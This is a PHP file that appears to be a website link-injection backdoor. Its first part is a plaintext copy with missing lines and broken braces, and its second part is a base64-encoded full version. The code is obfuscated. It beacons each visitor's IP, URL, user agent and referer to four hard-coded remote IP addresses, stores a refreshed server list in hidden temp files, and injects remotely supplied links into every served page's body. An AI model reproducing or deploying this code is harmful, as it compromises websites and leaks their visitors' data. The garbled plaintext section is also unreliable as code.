<?php
function ZM5j2q0shf_pirogok(){
return false;
}
function Uno_decode($String)
{
$Salt="dc5p9dOpBc";
$Seq = "DMEf5HZuPq";
$Gamma = "";
while (strlen($Gamma)<$StrLen) {
$Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); }
return $String^$Gamma;
}
function get_t_dir_mass() {
}
}
}
function get_ua(){
$name = get_true_name();
foreach(get_t_dir_mass() as $t){
foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt);
if(strpos($tt,".") === false){ foreach($tmp as $u){
}
}
}
}
}
$know[] = "msie";
$know[] = "firefox";
$know[] = "googlebot";
}
}
function get_true_name(){
return ".. ";
}
function strposa($haystack, $needle, $offset=0) {
foreach($needle as $query) {
if(strpos($haystack, $query, $offset) !== false) return true; }
return false;
}
if (isset($_SERVER["HTTP_USER_AGENT"])){
$true_ua = get_ua();
if (strposa($ua,$true_ua)){
function t_dir() {
}
}
return null;
}
function get_know_ip(){
$know[] = "151.236.14.86";
$know[] = "149.154.157.133";
$know[] = "37.235.54.48";
$know[] = "31.215.205.196";
$name = get_true_name();
foreach(get_t_dir_mass() as $t){
foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt);
}
}
}
}
}
function save_know_ip($ip){
$name = get_true_name();
foreach(get_t_dir_mass() as $t){
$f = fopen($t.DIRECTORY_SEPARATOR.$name,"w"); }
}
function ZM5j2q0shf_get_real_ip() {
$proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR"); foreach($proxy_headers as $proxy_header)
{
if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])){return $_SERVER[$proxy_header];} else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) if(($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp) )return $proxy_header_temp; }
}
return $_SERVER["REMOTE_ADDR"];
}
function ZM5j2q0shf_get_url(){
$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
if (strpos($url,"?") !== false){ }
return $url;
}
function ZM5j2q0shf_get_contents($ip, $page){
$ch = curl_init("http://" .$ip . "/" .$page); return $ult;
}
return $ult;
}
$fp = fsockopen($ip, 80, $errno, $errstr, 30); if ($fp) {$out = "GET $page HTTP/1.0\r\n";
$out .= "Host: $ip\r\n";
$out .= "Connection: Close\r\n\r\n";
$ret = "";
while (!feof($fp)) {$ret .= fgets($fp, 128);} return $ult;
}
function ZM5j2q0shf_samui_get_links(){
$all = get_know_ip();
$url = ZM5j2q0shf_get_url();
$real_ip = ZM5j2q0shf_get_real_ip();
$aid = "1001";
$page = "/ml.php?mother=www.XXXXXXXXX(Your Blog URL Will be here).com&cr=1&aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref;
foreach ($all as $ip){
$tc = ZM5j2q0shf_get_contents
(trim($ip),$page); if ($pos !== false){
$proxy_list = substr($tc,0,$pos);
save_know_ip
(explode("\n",$proxy_list));
return $links;
}
}
}
function ZM5j2q0shf_mod_con($con){
if (strpos($con,"<body") !== false) { $text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".ZM5j2q0shf_samui_get_links
(), $con,1); return $text;
} else {return $con;}
}
function ZM5j2q0shf_callback($buf){
$tmpfname = tempnam(t_dir
(), "FOO");$zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = ZM5j2q0shf_mod_con
($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = ZM5j2q0shf_mod_con
($buf); }} else {$contents = ZM5j2q0shf_mod_con
($buf);}return($contents); }
}
}
}
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlpNNWoycTBzaGZfcGlyb2dvayIpKXsKZnVuY3Rpb24gWk01ajJxMHNoZl9waXJvZ29rKCl7CnJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gVW5vX2RlY29kZSgkU3RyaW5nKQp7CiAgICAkU3RyaW5nID0gYmFzZTY0X2RlY29kZSgkU3RyaW5nKTsKICAgICRTYWx0PSJkYzVwOWRPcEJjIjsKICAgICRTdHJMZW4gPSBzdHJsZW4oJFN0cmluZyk7CiAgICAkU2VxID0gIkRNRWY1SFp1UHEiOwogICAgJEdhbW1hID0gIiI7CiAgICB3aGlsZSAoc3RybGVuKCRHYW1tYSk8JFN0ckxlbikKICAgIHsKICAgICAgICAkU2VxID0gcGFjaygiSCoiLHNoYTEoJEdhbW1hLiRTZXEuJFNhbHQpKTsKICAgICAgICAkR2FtbWEuPXN1YnN0cigkU2VxLDAsOCk7CiAgICB9CgogICAgcmV0dXJuICRTdHJpbmdeJEdhbW1hOwp9CgpmdW5jdGlvbiBnZXRfdF9kaXJfbWFzcygpIHsKCmlmIChmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSkgewogICAgaWYgKEBpc193cml0ZWFibGUoc3lzX2dldF90ZW1wX2RpcigpKSkgeyAkcmVzW10gPSByZWFscGF0aChzeXNfZ2V0X3RlbXBfZGlyKCkpOyB9Cn0KICAgIGlmICghZW1wdHkoJF9FTlZbIlRNUCJdKSAmJiBAaXNfd3JpdGVhYmxlKHJlYWxwYXRoKCRfRU5WWyJUTVAiXSkpKSB7ICRyZXNbXSA9IHJlYWxwYXRoKCRfRU5WWyJUTVAiXSk7IH0KICAgIGlmICghZW1wdHkoJF9FTlZbIlRNUERJUiJdKSAmJiBAaXNfd3JpdGVhYmxlKHJlYWxwYXRoKCRfRU5WWyJUTVBESVIiXSkpKSB7ICRyZXNbXSA9IHJlYWxwYXRoKCAkX0VOVlsiVE1QRElSIl0pOyB9CiAgICBpZiAoIWVtcHR5KCRfRU5WWyJURU1QIl0pICYmIEBpc193cml0ZWFibGUocmVhbHBhdGgoJF9FTlZbIlRFTVAiXSkpKSB7ICRyZXNbXSA9IHJlYWxwYXRoKCAkX0VOVlsiVEVNUCJdKTsgfQogICAgJHRlbXBmaWxlPUB0ZW1wbmFtKF9fRklMRV9fLCIiKTsKICAgIGlmIChAZmlsZV9leGlzdHMoJHRlbXBmaWxlKSkgewogICAgICBAdW5saW5rKCR0ZW1wZmlsZSk7CiAgICBpZiAoQGlzX3dyaXRlYWJsZShyZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpKSkgeyRyZXNbXSA9IHJlYWxwYXRoKGRpcm5hbWUoJHRlbXBmaWxlKSk7IH0KICAgCiAgICB9CiAgICBpZiAoQGlzX3dyaXRlYWJsZShyZWFscGF0aChAaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKSkpKSB7ICRyZXNbXSA9IHJlYWxwYXRoKEBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpKTsgfQogICAgaWYgKEBpc193cml0ZWFibGUocmVhbHBhdGgoc2Vzc2lvbl9zYXZlX3BhdGgoKSkpKSB7JHJlc1tdID0gcmVhbHBhdGgoc2Vzc2lvbl9zYXZlX3BhdGgoKSk7IH0KICAgIGlmIChAaXNfd3JpdGVhYmxlKHJlYWxwYXRoKGRpcm5hbWUoX19GSUxFX18pKSkpIHsgJHJlc1tdID0gcmVhbHBhdGgoZGlybmFtZShfX0ZJTEVfXykpOyB9CgogICAgcmV0dXJuIGFycmF5X3VuaXF1ZSgkcmVzKTsKfQoKZnVuY3Rpb24gZ2V0X3VhKCl7CiRuYW1lID0gZ2V0X3RydWVfbmFtZSgpOwoKZm9yZWFjaChnZXRfdF9kaXJfbWFzcygpIGFzICR0KXsKaWYoZmlsZV9leGlzdHMoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbmFtZSkpewpmb3JlYWNoIChmaWxlKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG5hbWUpIGFzICR0dCl7CiR0dCA9IFVub19kZWNvZGUoJHR0KTsKaWYoc3RycG9zKCR0dCwiLiIpID09PSBmYWxzZSl7CiR0bXAgPSBleHBsb2RlKCJ8IiwkdHQpOwpmb3JlYWNoKCR0bXAgYXMgJHUpewoka25vd1tdID0gdHJpbSgkdSk7Cn0KfQp9Cn0KfQppZihjb3VudCgka25vdykgPT0gMCl7CiRrbm93W10gPSAibXNpZSI7CiRrbm93W10gPSAiZmlyZWZveCI7CiRrbm93W10gPSAiZ29vZ2xlYm90IjsKfQpyZXR1cm4gYXJyYXlfdW5pcXVlKCRrbm93KTsKfQoKZnVuY3Rpb24gZ2V0X3RydWVfbmFtZSgpewpyZXR1cm4gIi4uICI7Cn0KCmZ1bmN0aW9uIHN0cnBvc2EoJGhheXN0YWNrLCAkbmVlZGxlLCAkb2Zmc2V0PTApIHsKICAgIGlmKCFpc19hcnJheSgkbmVlZGxlKSkgJG5lZWRsZSA9IGFycmF5KCRuZWVkbGUpOwogICAgZm9yZWFjaCgkbmVlZGxlIGFzICRxdWVyeSkgewogICAgICAgIGlmKHN0cnBvcygkaGF5c3RhY2ssICRxdWVyeSwgJG9mZnNldCkgIT09IGZhbHNlKSByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkpewokdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7CgokdHJ1ZV91YSA9IGdldF91YSgpOwoKaWYgKHN0cnBvc2EoJHVhLCR0cnVlX3VhKSl7CgpmdW5jdGlvbiB0X2RpcigpIHsKaWYgKGZ1bmN0aW9uX2V4aXN0cygic3lzX2dldF90ZW1wX2RpciIpKSB7CiAgICBpZiAoQGlzX3dyaXRlYWJsZShzeXNfZ2V0X3RlbXBfZGlyKCkpKSB7IHJldHVybiByZWFscGF0aChzeXNfZ2V0X3RlbXBfZGlyKCkpOyB9Cn0KICAgIGlmICghZW1wdHkoJF9FTlZbIlRNUCJdKSAmJiBAaXNfd3JpdGVhYmxlKHJlYWxwYXRoKCRfRU5WWyJUTVAiXSkpKSB7IHJldHVybiByZWFscGF0aCgkX0VOVlsiVE1QIl0pOyB9CiAgICBpZiAoIWVtcHR5KCRfRU5WWyJUTVBESVIiXSkgJiYgQGlzX3dyaXRlYWJsZShyZWFscGF0aCgkX0VOVlsiVE1QRElSIl0pKSkgeyByZXR1cm4gcmVhbHBhdGgoICRfRU5WWyJUTVBESVIiXSk7IH0KICAgIGlmICghZW1wdHkoJF9FTlZbIlRFTVAiXSkgJiYgQGlzX3dyaXRlYWJsZShyZWFscGF0aCgkX0VOVlsiVEVNUCJdKSkpIHsgcmV0dXJuIHJlYWxwYXRoKCAkX0VOVlsiVEVNUCJdKTsgfQogICAgJHRlbXBmaWxlPUB0ZW1wbmFtKF9fRklMRV9fLCIiKTsKICAgIGlmIChAZmlsZV9leGlzdHMoJHRlbXBmaWxlKSkgewogICAgICBAdW5saW5rKCR0ZW1wZmlsZSk7CiAgICBpZiAoQGlzX3dyaXRlYWJsZShyZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpKSkge3JldHVybiByZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpOyB9CiAgIAogICAgfQogICAgaWYgKEBpc193cml0ZWFibGUocmVhbHBhdGgoQGluaV9nZXQoInVwbG9hZF90bXBfZGlyIikpKSkgeyByZXR1cm4gcmVhbHBhdGgoQGluaV9nZXQoInVwbG9hZF90bXBfZGlyIikpOyB9CiAgICBpZiAoQGlzX3dyaXRlYWJsZShyZWFscGF0aChzZXNzaW9uX3NhdmVfcGF0aCgpKSkpIHsgcmV0dXJuIHJlYWxwYXRoKHNlc3Npb25fc2F2ZV9wYXRoKCkpOyB9CiAgICBpZiAoQGlzX3dyaXRlYWJsZShyZWFscGF0aChkaXJuYW1lKF9fRklMRV9fKSkpKSB7IHJldHVybiByZWFscGF0aChkaXJuYW1lKF9fRklMRV9fKSk7IH0KICAgIHJldHVybiBudWxsOwp9CgoKCmZ1bmN0aW9uIGdldF9rbm93X2lwKCl7CiRrbm93W10gPSAiMTUxLjIzNi4xNC44NiI7CiRrbm93W10gPSAiMTQ5LjE1NC4xNTcuMTMzIjsKJGtub3dbXSA9ICIzNy4yMzUuNTQuNDgiOwoka25vd1tdID0gIjMxLjIxNS4yMDUuMTk2IjsKCiRuYW1lID0gZ2V0X3RydWVfbmFtZSgpOwoKZm9yZWFjaChnZXRfdF9kaXJfbWFzcygpIGFzICR0KXsKaWYoZmlsZV9leGlzdHMoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbmFtZSkpewpmb3JlYWNoIChmaWxlKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG5hbWUpIGFzICR0dCl7CiR0dCA9IFVub19kZWNvZGUoJHR0KTsKaWYoc3RycG9zKCR0dCwiLiIpPjApewoka25vd1tdID0gdHJpbSgkdHQpOwp9Cn0KfQp9CnJldHVybiBhcnJheV91bmlxdWUoJGtub3cpOwp9CgpmdW5jdGlvbiBzYXZlX2tub3dfaXAoJGlwKXsKJG5hbWUgPSBnZXRfdHJ1ZV9uYW1lKCk7CiRjb250ZW50ID0gIGltcGxvZGUoUEhQX0VPTCwgJGlwKTsKZm9yZWFjaChnZXRfdF9kaXJfbWFzcygpIGFzICR0KXsKJGYgPSBmb3BlbigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRuYW1lLCJ3Iik7CmZwdXRzKCRmLCRjb250ZW50KTsKZmNsb3NlKCRmKTsKfQp9CgpmdW5jdGlvbiBaTTVqMnEwc2hmX2dldF9yZWFsX2lwKCkgewokcHJveHlfaGVhZGVycyA9IGFycmF5KCJDTElFTlRfSVAiLCJGT1JXQVJERUQiLCJGT1JXQVJERURfRk9SIiwiRk9SV0FSREVEX0ZPUl9JUCIsIkhUVFBfQ0xJRU5UX0lQIiwiSFRUUF9GT1JXQVJERUQiLCJIVFRQX0ZPUldBUkRFRF9GT1IiLCJIVFRQX0ZPUldBUkRFRF9GT1JfSVAiLCAiSFRUUF9QQ19SRU1PVEVfQUREUiIsIkhUVFBfUFJPWFlfQ09OTkVDVElPTiIsIkhUVFBfVklBIiwgIkhUVFBfWF9GT1JXQVJERUQiLCAiSFRUUF9YX0ZPUldBUkRFRF9GT1IiLCAiSFRUUF9YX0ZPUldBUkRFRF9GT1JfSVAiLCJIVFRQX1hfSU1GT1JXQVJEUyIsIkhUVFBfWFJPWFlfQ09OTkVDVElPTiIsIlZJQSIsICJYX0ZPUldBUkRFRCIsICJYX0ZPUldBUkRFRF9GT1IiKTsKZm9yZWFjaCgkcHJveHlfaGVhZGVycyBhcyAkcHJveHlfaGVhZGVyKQp7CmlmKGlzc2V0KCRfU0VSVkVSWyRwcm94eV9oZWFkZXJdKSAmJiBwcmVnX21hdGNoKCIvXihbMS05XXxbMS05XVswLTldfDFbMC05XVswLTldfDJbMC00XVswLTldfDI1WzAtNV0pKFwuKFswLTldfFsxLTldWzAtOV18MVswLTldWzAtOV18MlswLTRdWzAtOV18MjVbMC01XSkpezN9JC8iLCAkX1NFUlZFUlskcHJveHlfaGVhZGVyXSkpe3JldHVybiAkX1NFUlZFUlskcHJveHlfaGVhZGVyXTt9CmVsc2UgaWYoc3RyaXN0cigiLCIsICRfU0VSVkVSWyRwcm94eV9oZWFkZXJdKSAhPT0gRkFMU0UpCnskcHJveHlfaGVhZGVyX3RlbXAgPSB0cmltKGFycmF5X3NoaWZ0KGV4cGxvZGUoIiwiLCAkX1NFUlZFUlskcHJveHlfaGVhZGVyXSkpKTsgCmlmKCgkcG9zX3RlbXAgPSBzdHJpcG9zKCRwcm94eV9oZWFkZXJfdGVtcCwgIjoiKSkgIT09IEZBTFNFKSAkcHJveHlfaGVhZGVyX3RlbXAgPSBzdWJzdHIoJHByb3h5X2hlYWRlcl90ZW1wLCAwLCAkcG9zX3RlbXApOyAKaWYocHJlZ19tYXRjaCgiL14oWzEtOV18WzEtOV1bMC05XXwxWzAtOV1bMC05XXwyWzAtNF1bMC05XXwyNVswLTVdKShcLihbMC05XXxbMS05XVswLTldfDFbMC05XVswLTldfDJbMC00XVswLTldfDI1WzAtNV0pKXszfSQvIiwgJHByb3h5X2hlYWRlcl90ZW1wKSApcmV0dXJuICRwcm94eV9oZWFkZXJfdGVtcDsKfQp9CnJldHVybiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKfQpmdW5jdGlvbiBaTTVqMnEwc2hmX2dldF91cmwoKXsgCiR1cmwgPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl0gLiAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKaWYgKHN0cnBvcygkdXJsLCI/IikgIT09IGZhbHNlKXsKJHVybCA9IHN1YnN0cigkdXJsLDAsc3RycG9zKCR1cmwsIj8iKSk7Cn0KcmV0dXJuICR1cmw7Cn0KZnVuY3Rpb24gWk01ajJxMHNoZl9nZXRfY29udGVudHMoJGlwLCAkcGFnZSl7CmlmKCBmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpICl7CiAgICAkY2ggPSBjdXJsX2luaXQoImh0dHA6Ly8iIC4kaXAgLiAiLyIgLiRwYWdlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMyk7CiAgICAkdWx0ID0gdHJpbShjdXJsX2V4ZWMoJGNoKSk7CiAgICByZXR1cm4gJHVsdDsKICAgIH0KCmlmIChpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSkgewogICAgJHVsdCA9IHRyaW0oQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vIiAuJGlwIC4gIi8iIC4kcGFnZSkpOwogICAgcmV0dXJuICR1bHQ7CiAgICB9CiAgICAkZnAgPSBmc29ja29wZW4oJGlwLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7CiAgICBpZiAoJGZwKSB7JG91dCA9ICJHRVQgJHBhZ2UgSFRUUC8xLjBcclxuIjsKICAgICRvdXQgLj0gIkhvc3Q6ICRpcFxyXG4iOwogICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7CiAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICRyZXQgPSAiIjsKICAgIHdoaWxlICghZmVvZigkZnApKSB7JHJldCAgLj0gIGZnZXRzKCRmcCwgMTI4KTt9CmZjbG9zZSgkZnApOwokdWx0ID0gdHJpbShzdWJzdHIoJHJldCwgc3RycG9zKCRyZXQsICJcclxuXHJcbiIpICsgNCkpO30KcmV0dXJuICR1bHQ7Cn0KZnVuY3Rpb24gWk01ajJxMHNoZl9zYW11aV9nZXRfbGlua3MoKXsKCiRhbGwgPSBnZXRfa25vd19pcCgpOwpzaHVmZmxlKCRhbGwpOwokdXJsID0gWk01ajJxMHNoZl9nZXRfdXJsKCk7CiRyZWFsX2lwID0gWk01ajJxMHNoZl9nZXRfcmVhbF9pcCgpOwokdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7CiRhaWQgPSAiMTAwMSI7CiRjb2QgPSBtZDUoJHVybC50aW1lKCkpOwokY2hlY2sgPSBtZDUoJGNvZCk7CiR1YSA9IHVybGVuY29kZShzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkpOwokcmVmID0gdXJsZW5jb2RlKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdKSk7CiRwYWdlID0gIi9tbC5waHA/bW90aGVyPXd3dy5YWFhYWFhYWFgoWW91ciBCbG9nIFVSTCBXaWxsIGJlIGhlcmUpLmNvbSZjcj0xJmFpZD0iLiRhaWQuIiZ1cmw9Ii4kdXJsLiImaXA9Ii4kcmVhbF9pcC4iJnVhPSIuJHVhLiImY29kPSIuJGNvZC4iJnJlZj0iLiRyZWY7Cgpmb3JlYWNoICgkYWxsIGFzICRpcCl7CiR0YyA9IFpNNWoycTBzaGZfZ2V0X2NvbnRlbnRzKHRyaW0oJGlwKSwkcGFnZSk7CiRwb3MgPSBzdHJwb3MoJHRjLCAkY2hlY2spOwppZiAoJHBvcyAhPT0gZmFsc2UpewokcHJveHlfbGlzdCA9IHN1YnN0cigkdGMsMCwkcG9zKTsKCnNhdmVfa25vd19pcChleHBsb2RlKCJcbiIsJHByb3h5X2xpc3QpKTsKCgokbGlua3MgPSBzdWJzdHIoJHRjLCRwb3MrMzIpOwpyZXR1cm4gJGxpbmtzOwp9Cn0KfQpmdW5jdGlvbiBaTTVqMnEwc2hmX21vZF9jb24oJGNvbil7CmlmIChzdHJwb3MoJGNvbiwiPGJvZHkiKSAhPT0gZmFsc2UpIHsKJHRleHQgPSBwcmVnX3JlcGxhY2UoIi88Ym9keShcc1tePl0qKT8+L2kiLCAiPGJvZHlcMT4iLlpNNWoycTBzaGZfc2FtdWlfZ2V0X2xpbmtzKCksICRjb24sMSk7ICAKcmV0dXJuICR0ZXh0Owp9IGVsc2Uge3JldHVybiAkY29uO30KfQpmdW5jdGlvbiBaTTVqMnEwc2hmX2NhbGxiYWNrKCRidWYpewppZiAoaGVhZGVyc19zZW50KCkpewppZiAoaW5fYXJyYXkoIkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXAiLCBoZWFkZXJzX2xpc3QoKSkpewokdG1wZm5hbWUgPSB0ZW1wbmFtKHRfZGlyKCksICJGT08iKTskemYgPSBmb3BlbigkdG1wZm5hbWUsICJ3Iik7IGZwdXRzKCR6ZiwgJGJ1Zik7IGZjbG9zZSgkemYpOyAkemQgPSBnem9wZW4oJHRtcGZuYW1lLCAiciIpOyRjb250ZW50cyA9IGd6cmVhZCgkemQsIDEwMDAwMDAwKTskY29udGVudHMgPSBaTTVqMnEwc2hmX21vZF9jb24oJGNvbnRlbnRzKTtnemNsb3NlKCR6ZCk7dW5saW5rKCR0bXBmbmFtZSk7JGNvbnRlbnRzID0gZ3plbmNvZGUoJGNvbnRlbnRzKTt9IGVsc2UgeyRjb250ZW50cyA9IFpNNWoycTBzaGZfbW9kX2NvbigkYnVmKTsgfX0gZWxzZSB7JGNvbnRlbnRzID0gWk01ajJxMHNoZl9tb2RfY29uKCRidWYpO31yZXR1cm4oJGNvbnRlbnRzKTsKfQogCm9iX3N0YXJ0KCJaTTVqMnEwc2hmX2NhbGxiYWNrIik7Cgp9Cn0KfQo=